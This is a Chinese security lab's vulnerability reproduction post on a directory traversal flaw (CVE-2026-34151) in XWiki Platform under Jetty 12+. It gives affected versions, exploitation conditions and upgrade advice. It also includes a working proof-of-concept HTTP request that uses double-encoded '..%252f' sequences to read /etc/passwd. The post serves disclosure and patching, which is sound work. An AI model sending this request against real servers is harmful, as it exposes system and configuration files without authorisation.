文章总结： XWikiPlatform存在目录遍历漏洞(CVE-2026-34151)，影响使用Jetty12+部署的版本。攻击者可通过双重URL编码的…%252f序列绕过路径限制，读取系统配置文件等敏感信息。影响版本为XWikiPlatform<17.10.5及18.0.0-rc-1至18.2.0。建议升级至17.10.5或18.2.0以上版本，或迁移至Tomcat等不受影响的应用服务器。 综合评分： 82 文章分类： 漏洞分析,WEB安全,渗透测试

【成功复现】XWiki Platform目录遍历漏洞(CVE-2026-34151)

原创

弥天安全实验室 弥天安全实验室

弥天安全实验室

2026年7月11日 18:32 陕西

在小说阅读器读本章

去阅读

网安引领时代，弥天点亮未来

0x00写在前面

本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！

0x01漏洞介绍

  XWiki是XWiki社区与XWikiSAS公司推出的开源企业级Wiki与协作应用开发平台，主要用于知识库管理、团队协同办公、企业内部门户及自定义Web应用等场景的快速搭建与集中管理。

   漏洞在 /skin/ action 端点在处理资源路径，Jetty 12+ 应用服务器特有的 URL 解码和规范化行为，导致攻击者可通过双重 URL 编码的 “..%252f” 序列绕过路径限制。漏洞主要影响使用 Jetty 12+ 部署的XWiki 实例，通过构造特殊 URL 访问 Jetty 实例有权限读取的任意资源，包括系统配置文件、Hibernate 配置、XWiki 配置文件甚至服务器敏感文件（如 /etc/passwd），从而导致敏感信息泄露。

0x02影响版本

XWiki Platform < 17.10.5 18.0.0-rc-1 ≤ XWiki Platform < 18.2.0

利用条件：

1、容器环境： XWiki 部署于 Jetty 12 及以上版本。

2、网络可达： 攻击者需能够通过网络访问 XWiki 的 Web 接口，skin action 端点用于提供皮肤资源（CSS、JS、图片等），默认无需认证即可访问。

3、文件权限： 目标文件需对 Jetty 运行账户具备可读权限。

0x03漏洞复现

1.访问环境

2.漏洞复现

poc

GET /xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.208 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alive

通过响应判断漏洞存在

0x04修复建议****

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

临时缓解措施：

将 XWiki 从 Jetty 12+ 迁移到不受此问题影响的应用服务器，如 Tomcat 或 Jetty 12 之前的版本。

升级至以下或更高的安全版本

XWiki Platform 17.10.5 及更高版本

XWiki Platform 18.2.0 及更高版本

建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！

https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6https://github.com/xwiki/xwiki-commons/pull/1675https://jira.xwiki.org/browse/XCOMMONS-3594https://jira.xwiki.org/browse/XWIKI-24075

弥天简介

学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。

口号 网安引领时代，弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫，

予以风动，

必降弥天之润！

弥  天

安全实验室

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】XWiki Platform目录遍历漏洞(CVE-2026-34151)》